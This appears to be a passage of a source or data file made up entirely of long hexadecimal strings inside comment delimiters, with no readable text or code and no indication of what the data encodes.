89381a8adb54bdf6ed36b024f8c1c14fd4cc70b7ccd8e03d575ad3d18cef84707bbb77846f119e7ca966633095dc2c1956081d67a2493559af66b0411f4d42a14644e2197b6005bbc494df6e3c936665e059b9ff7f24d9a169740f76fb10507c8448ea8be8db1845478f38281019e899bb98d26ae2e8af891188f7f5cc527f3088f82d32cdb872dc414641627234aec4ec0bba77b4af418246edfd52a57bd84b75d60ec6bd741237e2b83c6e6e5a0847542b720a7cac37b36f87480781800008b0c742da9872f31c5bc64fe6583d0dcbc945760d9cbc2b7afcc4c17921f98d1dbabf363afb03a4667fa0c5f72a4cb90c221e9a05ac7ce7368c4c2b1296e311944eac59af5c921f6bf80e99ab973c77b296c4afdad6e507474092d9e160253a3235ed52e42e8de8d48f1d8e0bd3edba52a969d6a3b7cdfd01d6de71332675f18b377ad0637c2967291613079d57bb2dc9ef976fc5ba28ea5725e15417dcded9d241573b32db4d559f5328e725a0fa5331a28c423bf59170ef2e59f434e3f99a43d8ca5aa5893185ba5fe24e714a3e1685455f87e26765f271a791d5fec44cfdd3501a2b4632d89f9502fac5242ffd93ff26ce5102220fead5cd6b6e88ac8de4daf473fde8753eb8c7650e2a722a5e4fab6042a94013af8577365b79daba3d5f909064d0dc38adf3fe8d33e9f3e4bc283b21d33bbc4c90ced57fb8dc7e4eaba2c211336*/
/*5758060c7a7b2c1efb8231227f1848c7b3b7187c257e9b820cb9de622f4eeaf2e02a62ec2528dfafcb108a617cb42fdaf75f8e37f647a36fdc226a34cf4c6be8310e2159b103e922596e5e398440ad1aaa7cc4fd87337f003d063389c028e03ce020cb97f80dc564e55a20d3498c7deb99c49d2f11fb2d38482551bd2570576d8c58e37299c9d57234d4041880577f880a7b1baba4f23bb37dc80ef72292455552845817313852f32230fc4765301624bd9008e3a01dc8bfd627a6dbe39c2a7ee26ffb8095ba5b3e0605cf407f6bd35e002eff64fc562a96f7eb994af8e79dae35c0e1a7693c24fc8b66ecee7bbd2c8a8858710a5d96dc31ca2b7bad4141f0e5a7aa45ff98415e958a6f866596e4a5a541c8c55766f81b2d5da373f5100c634ba9e85ce62f8b7057a6c1a5212c01d1e0e80fae40c314cbaaeda66fa954efd9b78d7c8dfaec5ad69abe4b7eb1567db4a531e2fab7a14fe4b2f3f70adabfbfaf9ba631e2587e4bfae0ceb6a36c2f5b226b7bc6724210e6056e2bc898db666b91b7dfa603ea6c5e78c4e0de5e71f4d514178a85aaecd55f016f537eaeacb9be6b745d3c2072491b756f7d610208055537e5ef80593007f31efd2f7df8cc05a8a4b7ae1e981067e6c2f9f2f161082353fba31481a4fef4b3bccaea74043f19b3db8689313d0a906136d6aaf5a162384b559b6f34446f64b7ac0f61d1e2b9c83520bc9dc31756d75bf2af197a8f6482e5aa6f71e0266a48198110a6fd302cb6151dd216a6474524d6a401c3227d535526cafd5a28b9f645bca2a1c262b8cf2aa90693a0e44d96d220e747453bc755efcf141de871917345bfd7b224c821dff7d154df3cf2fb09e5c677f036220a01224a9aa8a34a397dbdeff0df6631f093566298f719318ef6c0e23dfbcb95ec45e63fcda9e0226e5c576e7fbe3a2af80f174233edec329000923f7b017be5b67b864a1ebbef1d0cc5b78462851a631a89637e6384b6b9a8c19c02722cfaad7ecaed767d9160a5950d678273ddafea382ed95cd9f58bcb93ae9fefea5ebd08051f8f4a8770f460b22efc32c46f99d92a4a065c27abcc99dfb9a97b8858d3ab40daa7c1b3b82b16af2fef1d4eaa24907b5b8b14832f1f5b251227c19aebc497252d4737ffba250caff50894c9fdefc5c2139466a9db2a86fdfb067a8e2d8b6a307651e6b1622acbd8413f83697c2459e46535df1a53f0850df0dfbffb35daa2d429916ca686f82b1d82c5d28c1223ea92e7d6956e834ff8f5f3dee9d7ba31b917f9c42d0d8524e0d3964f9ed8491aa0035eda384015ae7d3b83ab0c6b21f4f8a038b34fc11eba63fe118aa297dada4540045d764442645a3dfd16430b8a45fbb89623d1451177ed82f576947315b102e630326d586f9802426698d72d351ba32e56ac81cefcba57cd1a9d3b8ff194ca2f2ef1eaf54a25d57e4b43f2da856b9b97a627cff53496489fde9d09da193c9c02017923fb73e5bb80e394af7fcc9f40a2853afe617f316846cd4f3ad8ad5b53ef079c48aa6b7684553dc16f412b00a784d07711a49ba61c7249b2a976412f632613879e97266ce9f14ae8b5f8d8c40255782fd8510f8841655a3d4d044417b863647ded00cbf156f1b2d004908eb6e259af10ae0d972b1ee7b76fc9290eea7c1ab9546829c57b8321e1c20af2e5b684a41f1f20cf453925c3ffb3eda8733cf4fd29967ff4a928a0a293298b49db8b4422bce5f3fc3396bd71e6fe65c9da2fb6062e347e8e6c0f3a6f394a484b7f259033cf91a10895e64fa65a2265b1e28d70efad49a4411e3b8ac34d1335359c065b63deb78344178a11b08bc6fca71d4544f4f0ac1368d4852a4415d4a8ff2759f96ae0a8a530a8171051058e0d9081cc806480467a3a216370e3dace91cf61421192144b3c418b9d8a9cbbca03706a87459526176ffafbab30df7851aa6362e71db21c127121fc824fdd2da4937d8de827773892aa149b75834ac1cde5d13901dfd3a966ff863cb26afcfbae08ff8ae5f06b7978d99aa4ecdc7b65a64e9396dae4e8ecc0c4368e8aee854517d03785c0cdbbe4249a16405c2c2ab31c611605869dd9369c69b494d09fec77b1b165c7f741c89f2458222235724152cac5450177634f66b022e8089b748819513178b5950e3da02c37185ca55ae4a0fc79a2f6bd46ff90a4208e7c7263dec79f67a6b306ff5e57776e1cfca18c07ca484846700e2094c6edba5c1750b299149b8befe97bb8c457d998eef372bbad7eeafe3491c40040d7b127673f52f428b04a2cc1e317f09d9d8d77685d9fd0fe5dc9363a77cef93690c6399977a18fc7ee4af86d0283be219e18739e7cc8012c375a248bf6699bfaf856801b3d855e62c99f607a5244fb0435fd436c67bddc29bc76abfde27c40d085a49eb15f50789dba37aafca6c983f81207d4aa9a839d7067b6a0a77a5415e49bf4f64c3ae724e71e4088d4be903d1186aeff5f8295136fb0452e9b1446b20049c45d3705db41fb5768ffd9d14bb1cf57d58af8307e6dcd01c786d3d602e0febcfd220e6ea459bc3ea89e5dca690abbc801db07d06c3a35960449d19c558c12d5f811eda2f23961ff9b6d02bd16d0d969b60855fd91d7e65f26103aea466735ba5b93266088c41d13a8be61078d6b2f5c3e240c6bf70814a5e905ddcd36868744f736db6c4d116ac9300bf6b9839e8cca171d56a5d99e0dc8a68de176227515d49d1aadd0ae1713f8157d2fff66b6e3d41518774a3a1a775f6798db352565c451a70480881d9722b3c273719cbc7e90a16e042209dc7aeb4c7b204a106938048de149e54d*/
/*c89d3e541e61c871a3bb559f0c0caa2b158c8db450d316fb2d469c3769f5d08669920778c3bde883fdc5c66b49d3d52ac6fbfe14019312ac5a6b7cd64a9f45d48a926373b4cc3c565fd1e05d76f5f1222751c42a3b57bdf60fbe2a558559e411d887db3b931b344a7f3600c65ff074208356883f0069b2f975471d1881427b1893fa15b0870b4d76b8304a7c1e8aa98a0968066674861f5685b73db8e84754cd0657d9b0aa8a58569b87ea8ee6c6640241b69f8d031d94af7fd7c278a1257a93f459eb81f0fc9d750d2e6cf57cc42f137abadb56a8efc3e047f4a340e30b8040cac8d9e3e6406ca2298c76b03f390164764b77b42312e64c648730327c4e01f39c5af818bd344852ce76b1a73e995306b48435df9537ac8628716c6d94e515c43535bffbd73181c23895585bbbb953ca8272c3b9d3603c9ef7b296f5167eb120f91f1eefb4bccb1d6cfd9559f8cf314de67a2bdeeedc42213ee55eb958a3d3ed426ea700289625cdff96c12d5d04d69033d13d6e95ddd047b3812fdacfbef55fa77e6d2455cf222a188a496eb44a391a2e63af8e7762caa0daae840a0a8a9b6ee21497fb0cd5bfd67e2fc3e53d3f66ed064abd480c0056052f617984f827e7b9db17585563204453279ae12c5e870be5d7b49004af9241f0c02cfdd9224d75d850f2fd9ddd8143a052815847644edb6eed93aa3fa83f9bc562f6c9224f500acbffb1974e90018bcbbddfcdb3e8cbc4d120f27d7dd1984507b66ff2daf2c6bfafb3f935ede9bf63b16e4c75c5556b77636bcead377166a227f5e646778f0f0cb196d6711f379f03c3b1a69141c97c2f9f22dfd00bad04552e02ccb67bb83e50658ee55ef2bb442a6c0d2c8e85dadf226ad781d3704f84d707c255bc73368a5a6b11d3a6ea1b066162ca052b1bdc863a93d833e801a2cf333a17547fb14a3c6423223fb7ff7abead3c01619a4b92936f8a3472536adc1e93ccc8fbcaf99a5b02295fdddbb4a5962d13a3aff7f6e7e6060ad8d93fcaa870cfb061b0202f94c3c57fbced769e6d8369970f5e978c098f4c88b7972ecbfe4917a12b511a2fd5b1c0c7fa6126216b0cf4ddb97df9d91c4439a7e1fd8927d333ad61df8d11e2c506e739a3d881b48bdcaacfeeccd89d3ffb39fa18ea17b61c60fab49668631f9d0b519dfacbf783ca40a106b6e0af8eeaff977fa8b857186751f91cba1fecb086671309b7787884e97f2d78c7a279757a7942822bbf40878f220e7e59fb333c6ff384a7d0266136fce50fccb8de5658f06424e37313ff62b744ef98a21e9b94f6bcb01ea3c00feaf4d9c5f2773048a738954c249eef823cb79261b5700c97a0e2b461919b723acbef0c19aabece3fd837726c4ab7f287b9ac2ff32869d76f27b766aa8a4ea9ae86e72ad7963ba35c033167e6ffc1bc4bf19b48f9ef132dea4c39d5b999886861a4297f0be101fdf3fd3d67d52e1c92c276c1d9c0f1bc0c8f7b062d7391645581bd6c263c47e19efe6b546373f604fb6c848cb55b5899bbf613c6ad89c8e24bea7e76a0aac61ee2162daea369182ccf92ab270937dd4ee7e09a45ab698183810d3ee3c2ce203b0dead805cd03be9eea99832fc9f6120ddbdb29bf928b9c12711766a742af5244183408e328215c1868f367f5640ee41e60137c88331d5c2778a4bb207540d1bb90185f75330f39edd0abe9246014ee87ec57662b86bda963314481b6bb18b908f606e2fc57cee9fefaa0eb917f35e9ab779a3f2b10c690cf5201b4d661ba80e6bb2ca7dfc5bd382f325b732316770af14a1bf82d217a2b723b8b87084e2516769a83a777a8ee109521223f1f433c05376559d8d3e0ac0e1f6b784dd6cac81ae1b87a7b2a50f066c1f3f41345ab3e6aaa83965e72704712ea34ad034ccb02aceb9516943adf0011f827b1acaf0c542fe72766109c58180a13288170e594e60421036f0d57542ba2eda37a24632235f36766332d3ad32c3aab541d746a75ef42fad33f4081603869094a62bc3c0df80339b239db32d7a9393e13f6ef8fbba0c17f8ce781a1ccefda3c69eef7a2b76a3b0563a2a3edccc5f10039cdfabd35e552b9bd1bdf2cb2d1186d333d3806a5399822cd5f0508cfcb4c02e74ee1897ebb0addbc399a41b82df5cac35b709c945fc4ef4fabd3485759e83e8ac436864f3c1ad253458cbaa8b2689ae4b13085865976b2434beeaddea56a5048cac121b57551a3733977e974973ad20da2ea5af9d3fe6f42a6694e11f4c9e8a36eec2eb113af564657baa8aae9c3f283114680052d1c6234b52ee16c68bb65f08c69310e3deaaa726a422577efacd679af4e2ccb0233c155746203036e19d2b6bb3e5cbce57f62bba10c372a190ab5f3013a06cfe9a222c96d72ebdfa5c4c17d3ead63edf8008b21e4a9c45862579dedf0fa5ff13db56e03029f226e41d9ce6c1df7d075d9efa1b5474d710b723915f67462532069505b202954dbf48d3683604698c40423d52be6f30ca884a5a2597836be0ea5fe052c6ffd1f668bcc271e9d729da43ea06b69f5c0b126077e42f7521cfad93ee06eaed1e34a848598d9aa2925eabe28d3d65d9c57fa870d006e1adfc2984e46f5b886cdba35e29d76828664fdcca4d2588fd2881ae54d03c4bbf8e944af344a515f72357056d232ef1cc7c4389c22d80605ea10433d0f6d77ee0b5895d4421cae377458420790cda05ead8122d0ce053c4beeaf61b8c2fb519b10525e719cc39cb61ba497663f8add3caefed46d49de8fc97189a00d006bdb41f5bf9f625019974f41bfd14dfdbfed46081302462ccc4388333c1c09ae61368f*/
/*38385026c11957da17ac5aa331e36e44a4c2e13c959b31dc11e050426d29b7c8ebbe11a8de5cfe92d49a088e0a8a3b741e2d82eccafc28324c1bd5b3685ec506b28224d0e7f23dac03b32916178052444c0ed76903178af860a3cdd42232c74261a5aa4d554432d1d93c11ed24dba2c0b4cf0fc62fb7a2c1c093f7ae1d46615806ae485eabb4f3115db9d1082e5af9d59facba65b1a941156aef7a58c841f54990ead86df93349d1f8c858c809faf29ed20a7074764d2bbe9b46fc67abb6ab37dd3adcacaed03522694d07f2558807815ae962f895df0cadb29de8edc1e4b5385879a446baec23a29db22a3718747e510b8ae4afcab52a5ae8fb7f62f8d13ab3a78076d65d19fa96a88ed8ed8ab7ba6f41042b5668c086b4086cec8cc98e607393e28a7299ec72362618aaeee09ad4b9f659c79987894ed09e6d7efb1c7bebb52cb443580667414710ff33caefd0137ca03787acd48b4fccec0168c8aa6fb46cf116ed99bc443b0fc9b12ba2f147b4030f3e7faa5ab15e7c955b2453836a41570667ec35d9cd678ac5b60c55b733e3d6da8d22752db456f29ec90d61d3028c87231cfa98019bad2f9fbbc3b5f96bdd86200fc1d3ce0c65f5ab8d30af2fb79e76a08b51f755d35e2a1c73aa8f9fedfd65dd00ce22386dad292728b17088f220d3f76f9d0be09254d46af4f5f7106b808e425c831d3ca57e03a7f8138d7ccfbc83a828c675215c4c783327501d5351e5d0e165d3284baa49cce8db8d9621ee1a69229c200e8be407e1e9397278fdc7b6515166b8536bd59b380d5f98a0ed80d14b55d5266f490a08b1f98a8c6ef0ea7ae516df42203a653fd1dd4190b8c9cb1bb0b8738b1d2d9db43d178d321644356618c082c5330e4878fe20e279742c977f5cde641df59097ee656aebecac5e0032f51cd4a939e780ca8cb1fc6d14aef35f0a8af93009836833cd2af108ea877a9783169611cf66cd42dfd804f19ebd29d17f19cb76056778aab4fb1c9caf2e1e3cbea346865763cadd6be87d5602827e3fd2862c67cf1fb21b72860e343b0b776d1d19dedde9802870c5bc18fb05dad07872ffa3affe85b012cdcfd941dede148d9902d319dec2667f5c4263a52d2ff2dcfad3c138752fdc4664b494cc886b41bce19f1074da20a984f66e1babf19f3160756b03d7131fe32c5ee52e2d4d17c0705171e2798cef5ec76f5ef1354104c84692aab2cee6693bc0e663cb406bc8a260b13db1789bcec2189ed5b5cf4328e5413319fa364dd4e24d0242b2b66d555cc12558687d031b7d61b149e4d077818ba47233a7f8c1042de84360f4d9f75f8d85a384d540928cdab1a0b136616d90bf2e215ea8cca1bf24b759263e4aa27625373d90fd0c89433caaaef3dabb06af6bf2403cf5a9a17a75ae0d43d3866f4f697245d9100a88fb4bdd32a5a6709d25ffcbbf19e12f1a5a97f86ab8fb9d638eb843f888ac3e5a9f79f225427a8210e943ec39250645c7d8c4b78f7f91418f7529b1a67d2ff59defab8923b5e49837ac3d60a43af9ee17d5c92ea3640a4efdfac4a738e40d68c56a97e1246866278e7aee9d16f11a59b59e6db4dc6414ce0bbf706ec89a7bbd7283e73da9be72aab6886d548f39ddca6df5c3d72678eb3e8f47ddb239eae58120add4762cda7e5cf8c9ac376e8d6b07cd8a70e14dee74efda4001e39cc873e9eee500ef6ed4af05859a1710c6e6b26ef9daac9c1a27277638e904209f6b744dedc784fcbfb210795ce7d722325d7a22fe2c80ad73ec4f007344f486ce56baf87348f8f9869a9301741a291e3b5a6b343e54e610a3a253a1dc82cd84f2d44d81c847cc5a64b184cfaa0e5947823c0c640f368b8c2240b255d7c38d7f5b2d8d0ff649c1ddc1e1e73bd4b3d91eb64207eb08edf58eac8b5ab7d2dc0a4bd5a0ec51746909a1612a1dfa8afdc399cbdba879898c66fd5a2d9be82413ac82d7b1391013e5dcf6142ee1715647508a25bfa5eeba0f9703bbcf65a294cd0e517cf90d8aa83eda872de62813e64cfeb58e7fb8c0173cf414096885fc96288b53cd8fb46c33dfc117e69130276c42563f04badb4e10c4e0272aea021eab68653f6a7e0688325adc6d7fe65549335bbbc7e10a67e0611d89fecb5e544ab2477b6c7261b7875c1ff781e6539cee0656066aca1a2498121f78daa974afedf4c5735ede624ec93a5b5f0d0d4d9303af3192b6131356744c53679c048618dcd8eea5141f92d22dab16ae1b5b94a93539a288475d1921e819f874114dab05e2bf59f9d4237adacde55e02e502ae61f17c4fb14e53d1bb5ba4b497c33e0c6cb1434171ef87420109ae64df4ca8eeb42ad285544f96fcf208435793f7de59c1abc2cc817a5fc6e94a7010969236171d2445318684ba01cfa3b8644b8da444042b027d0acd44c6e0b9aba9094ce9ab46ffe7c23ad6fe7a5f865c44e57c1b2e90a794effd9e5c1d70e66b97b65125079475042236999344879a72bb774863df7c4a103dbbb8cc37a1af50a2aec672de3c1cbb7e5d60bc7d9e30d8d4dabd24cd09cb2f0e4be955467d3089f473b9160fbf04e9f2bdc6d1f6c7b54ee64a441ca66673089ad1e83be70aa828058f9e544584e51e8c2955cc7d3c6a2acc0e25bf930e6dc8f3ee735ee9f74e90d894ae3d4e7f9b924c597c868cf96d4418ca57e637630c73e668a11dd1d380726506bd10aed91f409bede3faea730ec853670b4abecdeb0835db0182257d1b09e3f1b0f073afa573a58413de4e82571e7a64c8303e8660c64cf16578b6a00c302f70a978fc50bf7ede0664b9b5e9a7e6ba0c75320f115beb8ceadb30*/
/*64ff001c20a666bb9d7fdf52b60490c05f7eda5cb6ba0a243205fb51b77b05b77675a82d02ad4e899fd4d88fe7df43bbeacc6deb8c0f9710bc8e0a6eb0a3fc3580d0933b2729bb71b98606a865099009f8dca483b91eaa6065ffe44ebac498f202bee378370138db75ea5457f495b40e49518e79d5de2638cc9a845112aac7f457d5fdf20b9feb5fe6676d4e449700293f743ddcf2d3b5b5b1a5443dcdae8c40f1c7228dea77082f31ffe69145c0a8629b7b5b3ab28b5a0366ccab1a1c4a55eb31f8711a929d1ed4841ae0c0820f22370029e70437c6fef48aa96b97628564c9d75fa96cd0a9e26fbd352ab9b97d052050d0173d5b83bd932cbe8de8a50dc8bd651795417c98884bbb80e741a747f8558fce4f94e98d1ebba8e53f848db387092ceffcda9e2a12d872acf093b73ee49e906fe7801f50e688bc81fbcbde081e7c20eaed2c15c7026bd5d12368d63592c79267cb72377fe7ade32dd145a4eb5c15b2c351bfabd7eca0df0f3a559b92ee155f654e4590b465f2b304dbff7b8970388b7046c41b6e374ee045d60117e314fe41c81ae773b2e9ca5485bf00ce9398d0e5395cf1ecf16d0ca61b07dce2066d763b9404ce66a106525640eae6ddcec91e60b8ff94d52f99603d0f43f8ce615f5b7ed8d182257a3e3e16449fe443949d54536402b77e58a50e8ae0d81e505017a622ad04e1fa8aa98f6732066f26e88c58fc9aa2281908027fff853f6325137aca9e8c1d8819c843d5d609a6b646f6223417a9780fd98a9fdb22de290ee725e703d19a2aec9b54dd1528b437fc833e89e91b820f6213dbb9a36c60a6cfccb671f60b28d069432b5557666162257aa2fd8fabe386f3879d17a85b8fc3b7b48b8640eed6e921bb85a40dfb79086517012aa14da53a446eed8a26ebf204f9cc3ac3e83a66c353c5cce1970299736bbd6394719c85eaa1d54c376ab23a152a3f630292bf9a14e3e38c97b5e29c68ea22eb310a5eeec65ad1ec5330946c27446099f470f06ac1c2d583e7a61c27cbe0209d5a65ba972315f9b8a8ed0bcd68d65667ca7afe4d3f24e6cbf7e9919452dcc4605e4857a73425f6a8d9dfb6b94ea994a1697e7ed641ca3685881772eb34c971dc65b43ecde3e4bfe88f1e865ab49dbfff21c5785869bd0ca62e2453ae3a90c729677c596aab70973a83b4575345a6922c0a54752ff38c2b0b8ae702553905af1cf88e21275815aafd475b6249fb9a4acc746f7edd8f8bf8cca8c3e7f870f20c34cb26e95a6c9e56009b50d6af37320295a57f491a45d2298a24472e84dfd6dab0e8cf07a5d7df804058781f6cebc3eb5b74344ca0d3b2577dc022e063749b2a38ea2dba62d96b06b921d526033f1f039f956593ce7d3c41611bcaf3dbb73d40bc942db6c117d19f6c799803ea4f7c615d9719b958460a87eba151d830d4267281bf70b8915931250e65410546c3a6aa2e402c26282273bb7d0e7ab39076d682c84e0dbb8cae98582fdc86d4da1dcd6d8b9dd8126af87497bf01f1106bbc0b59d4dc841b1da749c2d021fdf9131f5752cada3b88f5ab07ed5b35ed9d9ad9ba4ad3b6ce9d590392db7f730fd9d0521838a4148f2f01d4f1a44df11d1ee16f36f607674d49f92b5719a60883762d7c348eb729d626f37654595ce0757450a5a61b1025d3c334333d51dce15ffec13fb36a8633c3c754769d8410b70caf490c8f818c7ca9a0b7dd034a7ad6ff436d2710df3fb93d03c84279d15ed52af97f8f1c747d78420b14bbee1bb97d83a2c2a0b0fee25b467ee3ba377427bef014a890c2d95e47789c0f8f76243e345ab6b8795be660725fcc67baf454600bbee28b01df53d458f19a7de4f1a1dbfcc782bdd692f9247e5f51a387279d1614a168a4d95eed74eafee44dd91f2973eea5fa4ac1165eddb215e80cf86dba4b577070fb20792687d823570f2964dc541a2a1bb91e3b344aa0f8b05ce0c11b7b4fb6606e54d30c2a082c516fa2f698bace7d6872e0ca9a0135dfb658a929919d2e824e86fd8c0b7a25bf1c374a11e23af6f0200d5a83e13cc9156b8931080afa0a8056aff044c8da31a9d06da61d6401954f0bd7ff797a955a8f613135e0dee60afb758c98d807167459d3be977c158d6cf53a54bdaff5f05a952d2f1633575ef248e58e068f84d7fde2641d81f552a71774b9debc80e89dc038feebc54852c2c0dcd9d8bcb497bf97da8014eb0d20cd94cf56d404ec99a2ba7bbc608840f1cb30f55396155bc156bac00c86bcabd37ee5d7a157c265dfaec3ac6c76c256bdfa5ec08153ba7df5f283c5e1702f5d63d608fdaa6c485b2f835b8a67233691355b74c76fda6face6847b6aad426771ff02987456799826112c6a74539754afeb342e1376aa23259fe4ce01440e085c8e2b8cc9b2d25a5562320b19c9c0f6f8bf59205e2eae558f838dcb9725946fc405a6142e0d173357cd98ea9a4343411b7672b57e660e7c7181b19c0d24731ec6f72ee63da3995c5f9b82676fdab425cf80cdf3ad3056dafb19d895a4af030b00d0928e087cbb51ec1824e757f000633e1d6d5672870c89581a06653252dced34ae85cc55ff412866e0694734f9888473d7d181d88868ef6040bd941bc120fa2d4bead3ef4c4630626729a6ac93144cc5bfc6d1db4501727974872f41d1bb5f4fdacef34ab2d8869ca8def92a553409d220080f493335d84cbca0d20e51ea3c718bc2dd30bbe9e87638257010205c67d90f3b80cf26bf72ec2386ed9a9587531a7dd05fb32f0bb346d295244be11297f7cd8316a78f57365de2b646a2b2f614f989c40f58b9e83659c68d1f6f*/
/*83c5f0e68a3d7d86005ce71f5d52b67de99cd5d115397aa4a7e2b7cae826800ad34e75191c28ee2404da9fc7c4d820172d9678820c5da8d08fa55f686f71177189d62356f58b09db10b83433043654659edb8ef83eb0dcdf53fdaf61ba6c39f1178b3a00d2f14e9aa4a969ea51aeaa41f8f46ee96a9144df402e6109bd34e6e698bf7ef4a9be6b92c428c060ae04fdd4ce8e92b5a0d08b16dab17c0414934294efc272066963cb3705fb76ffbdfdfafa8e453b3eb482a0d1e8a6fd8063953b6759762fa0cd01ab28fd3abe10e2b7b88db3b43a6d71f25bc0465b4f92508c066d16814cd3c318a0b2cd646b7a41ff88692d677632f8b75261fbd79ee80d2d8447465e419589e765dce9ff8ed7861438452815a37090285c01a2dff4e76e78674de00618eb53ed3710e002a98e4830a0209b66e64ab552928e48304f294425dbc8a904bd5dd268c7b0ea189809ef1c6049ee11cb404efc657990281e0bedff47b81ea449d4cd330010572fd2cfd7548dac5352d07a4fd7798373283d41c61bf5593f33dd4b0aae354900dc6b9b44d461f49d89c99b6e171937ca75213ecd399aeca35b76fd367ee6fd70a97e89ddea41eac476b1fdc86bf7d48ece2c15c17079605b0685cfe9a59b35d2dc439daa3d4a2223fa4b80e8d217e3b6d9a7093fd15aaa43ab9fe6bd97ea8782bde50b38339a5291c2d9d6a32f21f1f563f90d9397def6f73890c9e673e9acb7fa4869b3b10febf23715a1db9fe82010f333d4410b237582233508df4eb68efc9b181029814ae70af984c994aaeb0e4201fefba14c502ab0a506d7dcc2537ef06f3b40ea3cf27adcdd3afd2eb04e82ed20b8049a420b071bcb05377107e4920ffb077fddcd18bb778623efdedec437e4099b299a62048e04b542a88fde3399c3e87098e38d5cd40403c2b564cb24883bb8c1ce726574e1e585a5aa4c301928fbabb953477bffa47910b701924cb32c24f6d74af9790efd9ba9c6bda143d938866ea582d10226458acb141b6da009eaec59428630e37dd673e545146bf87f62ebc9219ff81b888311b1b5df9508b9f2b20e5a35664c0d2c15c3fd54f9900a9702d2c2105d710082c26b35d7bc21552cdeeb63473f738be5e2faa776b121e82c91dee75490c4fd94d0878ff0464430f48a32695d46e303092854748b76df3ff3d5e75241c32f1ca9b33aca6ed5f4f5d84ced04b9deecd4297f5bdd396e2145b59bc62f2c6a317939db05af583151074b89bb408bc27895df4cf673466a481368fdc9ccc28e038060d21890a83a7ccaa24bc9414fb9e5e2c6edaa25982ffbcf4d19f6c0e680ddac2239004f2b34c8084bb5de69b7ac6d84295052923387895192c265ec2adac5425c9eb85fae1ad18e56beaaeb1e6ef8860115494a3928d4a3da850a3b407a78484c4da3280cda0cb835b24d88fa5b8808a2aa1bf323b3f71c6a07e1b5db3613486deec668ea6e51fcc0b94615f30836c1a8719d8c9bb3b2e36be0d421fbe3274283442b10016b2e35b668c086016e5ec7ed9582896808069c5c18f79f285054e1bd068c2f061eeb5940dd9d2a75cdb1964420d6d14ea7c69736352f98688a8139634a5e9c1db803e5418cb8a84a1c065d4ee5b16c032b58aed2cd50f08739081c3401e37e514ba7465f59ae86f9c0577c7301a593838b910909b646d20b390b59213061513dd4278d7746bda4cd4b41ea4750f3b5728998f36556b9b945d1fa38b52e18a9a9f11311c71eeee034fc9480403992c064f11f69e350fce29235cf80fea54f4d53d3dc7ac1afb1da996ab5b125b1aaa8fa635758753f6688092044014d196dba2329ce35b49159aa5a753a5fa695757df14fe59a6e5aecd82c8e5432ee46b3e8dd76f699477b8e2e47ebac1f721dde31e7542e46b85643ea176ff23eaa90e5e2fb0dbd012e7a46ce5365fdcb7f64e4e3229106c252bc17a03b3c97ccf98b30b95b14c981bfb291c8fa719ea59763a079d189880c4292e076b7ff9187fbac67e1ac87247d7a67300801a6846142c991371c56cc491e7c5349f0c6e1b72e4a81609da6a9cbfa289746cd879b0442d8b3804a66a84dc5e7faa7c01ed6e39aba8813f884ba4ed77e15b58f24556fcb62458991af18d5b686877060c35131409392446c5d79e5d9ea0c336c930116d34d9ebd575dd9ed36eb68dd8fcd7e23009d524a758b8fddd4572a42457275ab31e970c3995cc8796762b71eb2f195833a2d459c22041b9b6b94df06ca55a8b058c549fe74e810e1d3cfe7c6636fef9a04d8bcdd965d7f410df2343033aef881cafdf2ac34c6dfd9739020216ada837d8262d82cb3d6b3ce3b034e2c4a886a3a28e84eecfeacf1965cd08bbd672ba8ed2980d13f8802b7da1d225f450ac307309916faa8fd521adbdae8b33c0b7c87e555f95347c0db52730f243516d42c53a3f1795b167601957e643f211a25839d2f60aab8957d8dab314ed652b935c5e04ee721de444e0afcb5cd10d9fea80bd5bc9cae1a1d60545ba4a7cd1023bf375cc0e2d4975e6a48d8ed92d94f74bdb1c5464d8a9a10a568dda39ccf1fa08e24f223fb6bde308481fb1b48050db60bfe46afb625eb784474c577cf5e3c504de54bfd5ef7d03af6ab10e4464c75e45f632c4aeced65d53aa1c61146ed044bcf9b7050f77d01eb6a5a5ca88b75c96b38c274db09555c72dc08756007973140ef9e19dfab728254fed7f843437dc3f5e7635001757cf317d11276287015ceda8cdb2ec1fc8559d3f0af5a7d96d065f0bd48e92ccc14002c7cc685ce9e9a09cc32749cdd60b5b96b26504d7e0cea956ed8ca3a5378*/
/*f96984619c6f16a30153938be56676fa894a28d1c5901381eca36b7c3bde56f67f6c84fd8e4bfaa36e496a0a5b504bc86712f41131143acce75483bbb8f606309f9505aac29be96302bcc620c0d2577a237cd6eede98764869a8aca274c24a621a9b6611e1fa1f5cd6470b776672ba6ab3b64a9b894a3f4ade37973e1cd5c635f43164c3b4ba7c3b9b52624b23e7882c16c3b2625bb71b7f94d49e257d19e2c975264cfadf3fc0ff81389a9bee999a2875b5b63164ac66dc9c7fd0cf3f86444191b62f5858e81a472fc39927d70c928e9ace250e8c47371975cec264515396964c8441bfc1811b7eb6182023a27267b5f256e9cf290a0069c3690b6ca1f3d1a5eb449c45a1b59eb1284d92136cd24bd98cdaa5c0079f5c60b3e7b7f19bec37cf870a321d37c82c43b6635771fdd4bd632e123f98b77bb957df11cb1dd8026b4d1a9b7f5b80aa5464e701ab9eebc936ea6af7be12b91e6436b5e18af8482df509e3efd15fb5b45cdf3f8eb1a8fc90bce646641aac16ab7148791ea5c770063891da074651a66a9d7bd1f519d6b169d4ea102785310574faee0d799b841abc63b48a5f17fe06fca314ec0c3d7ae892657873ae0de2929ad935b8041d4755039093e2163011c0cd71ef29c6f116a932fe4003d518c6c6f571c66cf1fbd58f85ab17f7c304cc1bc16d077f7f95b4004c386a75f6e1d40b58d4a8aca352e76e3f386f8cf1a331b91b963d731dae2b1b9d8b979e4fe480d54ad383ef97ccb615d914747baf477644eb9341e8313b7a2e829f8f33147a15e65303cbb809e7d4ddedff1e945153ed4d60fb1d36a5a74831a9d27032841d64d716119452205467867711c61532782a89f2fa3d838cbd6aed1e5c18e686478fd1669db3c0663b7a4792ed1c170e4a1bc4638a077d43afd2ae5e037680a035e73b215e7b90cae81df6d3be0b819754d42a55707a1874e5dcfc88f309d1b5ae5f317bc2c08471bfb1e4c08ac1a4cb8ba32524f4d015f56a26779408c989779b8e1b150280513516347ea67fcad54b13cced7ad09ecdd5336ac20219f988a138695a38ba1b1836370665fb0771896292cc0cd2069e375b8f89e4400d26b3806ce6e793e2b0879157794dcb34195cc39b7a5c3bc2029a20eeda334a5fe5a4f7267dc61254b05decd638985b40c1f251018dc171587f5c97daf54ca478beb75636b8d1d407f3d12dfe81c39d2236cd1fde0cfd244ef79e96cbf5683412974930d09f000e93444b11798e8f1982dfe78735b36ecd35550bc92d453e933e76cc64b9a79841dccb0b6cc74d50ca8b1b1927083f36d5c973b06d4acf83881afb28802782d1e122359fe2140859c96e38236375a0